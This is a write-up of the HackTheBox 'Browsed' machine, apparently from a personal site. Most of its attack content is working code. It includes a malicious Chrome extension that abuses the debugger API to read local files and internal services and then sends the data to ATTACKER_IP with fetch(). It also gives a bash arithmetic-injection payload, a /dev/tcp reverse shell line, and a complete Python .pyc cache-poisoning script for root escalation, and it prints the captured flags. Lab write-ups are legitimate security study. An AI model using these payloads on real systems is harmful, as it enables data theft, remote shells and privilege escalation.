← Back to Writeups
HTBN/AWeb

Browsed

XESXOR8/23/202611 min read
#web#htb#n/a

Browsed

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-17 | Status: Solved Techniques: bash_eq_injection, chrome_debugger_ssrf, malicious_extension_upload, python_bytecode_poisoning, timestamp_bypass

Summary

Task: Full box exploitation of a website that processes Chrome extensions in headless browser. Solution: Upload malicious extension using chrome.debugger API for SSRF, exploit bash arithmetic evaluation injection ([[ $var -eq 0 ]]) for RCE as user, then poison Python .pyc cache with matching timestamp/size in world-writable pycache for root privilege escalation.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260117_hackthebox_browsed
  • Tags: flask, ssrf, bash_arithmetic_injection, privilege_escalation, chrome_extension, debugger_api, pyc_cache_poisoning, gitea, headless_chrome
  • Indicators: extension upload endpoint, headless Chrome execution, chrome.debugger API, [[ $var -eq 0 ]], world-writable pycache
  • Source: 20260117_hackthebox_browsed.md

Foothold

Vulnerability / Misconfiguration

  1. Bash_eq_injection
  2. Chrome_debugger_ssrf
  3. Malicious_extension_upload
  4. Python_bytecode_poisoning
  5. Timestamp_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • bash_eq_injection
  • chrome_debugger_ssrf
  • malicious_extension_upload
  • python_bytecode_poisoning
  • timestamp_bypass
  • Tags: flask, ssrf, bash_arithmetic_injection, privilege_escalation, chrome_extension, debugger_api, pyc_cache_poisoning, gitea, headless_chrome

Original Writeup

<details><summary>Click to expand original content</summary>

Browsed - HackTheBox

Overview

Target: 10.129.2.1 Services: SSH (22), HTTP (80) - nginx/1.24.0 Ubuntu Difficulty: Hard Attack Chain: Chrome Extension Exploitation -> Bash Arithmetic Injection -> Python .pyc Cache Poisoning

This box demonstrates a sophisticated multi-stage attack involving browser extension abuse, bash arithmetic evaluation vulnerabilities, and Python bytecode cache poisoning for privilege escalation.


Phase 1: Initial Reconnaissance

Service Enumeration

nmap -sC -sV -p- 10.129.2.1
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    nginx/1.24.0 (Ubuntu)

Web Application Analysis

The website browsed.htb belongs to a company that develops browser extensions. Key discovery:

  • Upload endpoint: /upload.php accepts Chrome extensions in .zip format
  • Uploaded extensions are executed in a headless Chrome environment
  • The headless browser visits:
  • http://localhost/
  • http://browsedinternals.htb

Phase 2: Initial Access via Malicious Chrome Extension

Understanding the Attack Vector

Chrome extensions with debugger API permissions can:

  • Attach to any tab
  • Read local files via file:// protocol
  • Access internal services (SSRF)

Creating the Malicious Extension

manifest.json:

{
  "manifest_version": 3,
  "name": "Security Test Extension",
  "version": "1.0",
  "permissions": [
    "debugger",
    "tabs",
    "activeTab"
  ],
  "host_permissions": [
    "<all_urls>",
    "file://*/*"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"]
  }]
}

background.js:

// Service worker for malicious extension
chrome.runtime.onInstalled.addListener(async () => {
  console.log("Extension installed, starting reconnaissance...");
  
  // Wait for tabs to be available
  setTimeout(async () => {
    try {
      // Get all tabs
      const tabs = await chrome.tabs.query({});
      
      for (const tab of tabs) {
        // Attach debugger to each tab
        await attachAndExploit(tab);
      }
    } catch (e) {
      console.error("Error:", e);
    }
  }, 2000);
});

async function attachAndExploit(tab) {
  try {
    // Attach debugger
    await chrome.debugger.attach({tabId: tab.id}, "1.3");
    
    // Enable network interception
    await chrome.debugger.sendCommand({tabId: tab.id}, "Network.enable");
    
    // Read local files
    const fileContent = await readLocalFile(tab.id, "/etc/passwd");
    exfiltrate("passwd", fileContent);
    
    // Probe internal services
    await probeInternalServices(tab.id);
    
  } catch (e) {
    console.error("Debugger error:", e);
  }
}

async function readLocalFile(tabId, path) {
  try {
    // Navigate to file:// URL
    await chrome.debugger.sendCommand(
      {tabId: tabId}, 
      "Page.navigate", 
      {url: `file://${path}`}
    );
    
    // Wait for load
    await new Promise(r => setTimeout(r, 500));
    
    // Get document content
    const result = await chrome.debugger.sendCommand(
      {tabId: tabId},
      "Runtime.evaluate",
      {expression: "document.body.innerText"}
    );
    
    return result.result.value;
  } catch (e) {
    return null;
  }
}

async function probeInternalServices(tabId) {
  const targets = [
    "http://localhost:3000",      // Gitea
    "http://localhost:5000",      // Flask
    "http://browsedinternals.htb:3000",
    "http://browsedinternals.htb:5000"
  ];
  
  for (const url of targets) {
    try {
      await chrome.debugger.sendCommand(
        {tabId: tabId},
        "Page.navigate",
        {url: url}
      );
      
      await new Promise(r => setTimeout(r, 1000));
      
      const result = await chrome.debugger.sendCommand(
        {tabId: tabId},
        "Runtime.evaluate",
        {expression: "document.documentElement.outerHTML"}
      );
      
      exfiltrate(url, result.result.value);
    } catch (e) {
      console.error(`Failed to probe ${url}:`, e);
    }
  }
}

function exfiltrate(label, data) {
  // Send data to attacker server
  fetch("http://ATTACKER_IP:8000/exfil", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({label: label, data: btoa(data || "")})
  }).catch(() => {});
}

content.js:

// Minimal content script (required for manifest)
console.log("Content script loaded");

Packaging and Uploading

# Create extension zip
cd malicious_ext
zip -r ../exploit.zip manifest.json background.js content.js

# Upload to target
curl -X POST -F "extension=@exploit.zip" http://browsed.htb/upload.php

Discovered Internal Services

Through the extension's SSRF capabilities, we discovered:

  1. Gitea 1.24.5 on browsedinternals.htb:3000
  2. Flask app (MarkdownPreview) on localhost:5000 running as user larry

Phase 3: RCE via Bash Arithmetic Evaluation Injection

Vulnerability Analysis

The Flask application has an endpoint /routines/<rid> that calls a bash script:

#!/bin/bash
# routine_handler.sh

if [[ "$1" -eq 0 ]]; then
    echo "Invalid routine ID"
    exit 1
fi

# Process routine...

The Vulnerability

The -eq operator in bash performs arithmetic evaluation, which is vulnerable to command injection via array subscript syntax.

How it works:

# Normal comparison
[[ "5" -eq 0 ]]  # Returns false (exit code 1)

# Malicious input with array subscript
[[ "a[\$(whoami)]" -eq 0 ]]  # Executes whoami!

When bash evaluates a[$(command)] in arithmetic context, it:

  1. Recognizes array subscript syntax
  2. Evaluates the subscript expression
  3. Executes the command substitution $(command)

Exploitation

Exploit via Chrome extension:

// In background.js - trigger RCE
async function exploitFlask(tabId) {
  // Base64 encode the command to avoid special character issues
  const cmd = "cat /home/larry/user.txt > /tmp/flag";
  const b64 = btoa(cmd);
  
  // Craft the arithmetic injection payload
  const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]';
  const encodedPayload = encodeURIComponent(payload);
  
  // Trigger the vulnerability
  const url = `http://localhost:5000/routines/${encodedPayload}`;
  
  await chrome.debugger.sendCommand(
    {tabId: tabId},
    "Page.navigate",
    {url: url}
  );
  
  // Wait and read the flag
  await new Promise(r => setTimeout(r, 2000));
  
  // Read the exfiltrated flag
  const flag = await readLocalFile(tabId, "/tmp/flag");
  exfiltrate("user_flag", flag);
}

Alternative: Direct reverse shell:

const reverseShell = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1";
const b64 = btoa(reverseShell);
const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]';

User Flag

f1480dd94f997cf0645502af09eea819

Phase 4: Privilege Escalation via Python .pyc Cache Poisoning

Enumeration as larry

After obtaining a shell as larry:

larry@browsed:~$ sudo -l
User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Analyzing the Target

larry@browsed:~$ ls -la /opt/extensiontool/
total 16
drwxr-xr-x 3 root root 4096 Jan 15 10:00 .
drwxr-xr-x 3 root root 4096 Jan 15 10:00 ..
drwxrwxrwx 2 root root 4096 Jan 15 10:00 __pycache__    # WORLD WRITABLE!
-rwxr-xr-x 1 root root 2048 Jan 15 10:00 extension_tool.py
-rw-r--r-- 1 root root 1024 Jan 15 10:00 extension_utils.py

Key observation: The __pycache__ directory is world-writable (drwxrwxrwx)!

extension_tool.py:

#!/usr/bin/env python3
import argparse
import extension_utils  # <-- Imports local module

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--ext', required=True)
    args = parser.parse_args()
    
    extension_utils.process_extension(args.ext)

if __name__ == "__main__":
    main()

Understanding Python .pyc Validation

Python 3.12 uses timestamp-based validation for .pyc files by default:

.pyc Header Format (16 bytes):

Offset  Size  Description
0       4     Magic number (0xcb0d0d0a for Python 3.12)
4       4     Bit field (0 = timestamp-based validation)
8       4     Source file mtime (little-endian Unix timestamp)
12      4     Source file size (little-endian)
16+     var   Marshalled code object

Validation Logic:

  1. Python checks if .pyc exists in __pycache__
  2. Reads the header and compares mtime/size with source .py file
  3. If they match, loads the cached bytecode without recompiling
  4. If they don't match, recompiles from source

Crafting the Malicious .pyc

#!/usr/bin/env python3
"""
Python .pyc Cache Poisoning Exploit
Target: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
"""

import marshal
import struct
import os

# Step 1: Get original file metadata
source_path = '/opt/extensiontool/extension_utils.py'
st = os.stat(source_path)
mtime = int(st.st_mtime)
size = st.st_size

print(f"[*] Source file: {source_path}")
print(f"[*] mtime: {mtime}")
print(f"[*] size: {size}")

# Step 2: Create malicious code
# This code will execute when the module is imported
evil_code = '''
import os

# Read root flag
try:
    with open("/root/root.txt", "r") as f:
        flag = f.read().strip()
    
    # Write to world-readable location
    with open("/tmp/root_flag", "w") as f:
        f.write(flag)
    
    os.chmod("/tmp/root_flag", 0o644)
    print(f"[+] Flag written to /tmp/root_flag")
except Exception as e:
    print(f"[-] Error: {e}")

# Original module functionality (to avoid errors)
def process_extension(name):
    """Process the extension (stub)"""
    print(f"Processing extension: {name}")
    return True

def validate_extension(path):
    """Validate extension (stub)"""
    return True
'''

# Step 3: Compile to code object
code = compile(evil_code, "extension_utils.py", "exec")

# Step 4: Build .pyc header
# Python 3.12 magic number
magic = b'\xcb\x0d\x0d\x0a'

# Bit field: 0 = timestamp-based validation
bit_field = struct.pack('<I', 0)

# Timestamp from original file (CRITICAL!)
timestamp = struct.pack('<I', mtime)

# Size from original file (CRITICAL!)
size_bytes = struct.pack('<I', size)

# Step 5: Marshal the code object
marshalled = marshal.dumps(code)

# Step 6: Assemble the .pyc file
pyc_content = magic + bit_field + timestamp + size_bytes + marshalled

# Step 7: Write to __pycache__
output_path = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
with open(output_path, 'wb') as f:
    f.write(pyc_content)

print(f"[+] Malicious .pyc written to: {output_path}")
print(f"[+] Header: magic={magic.hex()}, mtime={mtime}, size={size}")
print(f"[*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify")

Execution

# Step 1: Create the malicious .pyc
larry@browsed:~$ python3 exploit_pyc.py
[*] Source file: /opt/extensiontool/extension_utils.py
[*] mtime: 1705312800
[*] size: 1024
[+] Malicious .pyc written to: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
[+] Header: magic=cb0d0d0a, mtime=1705312800, size=1024
[*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify

# Step 2: Trigger the import as root
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
[+] Flag written to /tmp/root_flag
Processing extension: Fontify

# Step 3: Read the flag
larry@browsed:~$ cat /tmp/root_flag
35a61948fc7c52dc9b8ad76587942400

Root Flag

35a61948fc7c52dc9b8ad76587942400

Key Techniques Summary

1. Chrome Extension Exploitation

Vulnerability: Extension upload + headless Chrome execution Technique: Malicious extension with chrome.debugger API Impact: SSRF, local file read, internal service discovery

Indicators:

  • Extension upload functionality
  • Headless browser execution
  • No extension permission validation

2. Bash Arithmetic Evaluation Injection

Vulnerability: [[ "$var" -eq 0 ]] with user-controlled $var Technique: Array subscript command injection a[$(cmd)] Impact: Remote Code Execution

Indicators:

  • Bash script with -eq, -ne, -lt, -gt operators
  • User input in arithmetic comparison
  • No input sanitization

Vulnerable patterns:

# All of these are vulnerable:
[[ "$input" -eq 0 ]]
[[ "$input" -ne 1 ]]
[[ "$input" -lt 100 ]]
(( input > 0 ))
let "result = input + 1"

3. Python .pyc Cache Poisoning

Vulnerability: World-writable __pycache__ + sudo Python script Technique: Create malicious .pyc with matching timestamp/size Impact: Privilege Escalation to root

Indicators:

  • __pycache__ with write permissions
  • sudo NOPASSWD on Python script
  • Script imports local modules

Key insight: Python's default .pyc validation is timestamp-based, not hash-based. If you can write to __pycache__ and know the source file's mtime/size, you can inject arbitrary bytecode.


Remediation

For Extension Upload:

# Validate extension permissions
DANGEROUS_PERMISSIONS = ['debugger', 'nativeMessaging', 'proxy']

def validate_extension(manifest):
    permissions = manifest.get('permissions', [])
    for perm in permissions:
        if perm in DANGEROUS_PERMISSIONS:
            raise SecurityError(f"Dangerous permission: {perm}")

For Bash Scripts:

# Use regex validation instead of arithmetic comparison
if [[ ! "$1" =~ ^[0-9]+$ ]]; then
    echo "Invalid input: must be numeric"
    exit 1
fi

# Or use string comparison
if [[ "$1" == "0" ]]; then
    echo "Invalid routine ID"
    exit 1
fi

For Python Cache:

# Restrict __pycache__ permissions
chmod 755 /opt/extensiontool/__pycache__
chown root:root /opt/extensiontool/__pycache__

# Or use hash-based validation
export PYTHONPYCACHEPREFIX=/tmp/pycache
# Or compile with --check-hash-based-pycs=always

Files

malicious_ext/
├── manifest.json      # Extension manifest with debugger permissions
├── background.js      # Main exploit code (service worker)
└── content.js         # Minimal content script

exploit_pyc.py         # Python .pyc cache poisoning script

References


Lessons Learned

  1. Chrome extensions with debugger permissions are extremely powerful - They can perform SSRF, read local files, and interact with any webpage. Always validate extension permissions before execution.

  2. Bash arithmetic evaluation is dangerous - The -eq, -ne, -lt, -gt operators perform arithmetic evaluation, which can lead to command injection. Use string comparison or regex validation instead.

  3. World-writable __pycache__ + sudo Python = root - Python's timestamp-based .pyc validation can be bypassed by creating a .pyc with matching metadata. Always restrict __pycache__ permissions.

  4. Defense in depth matters - Each vulnerability alone might not be critical, but chained together they lead to full system compromise.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR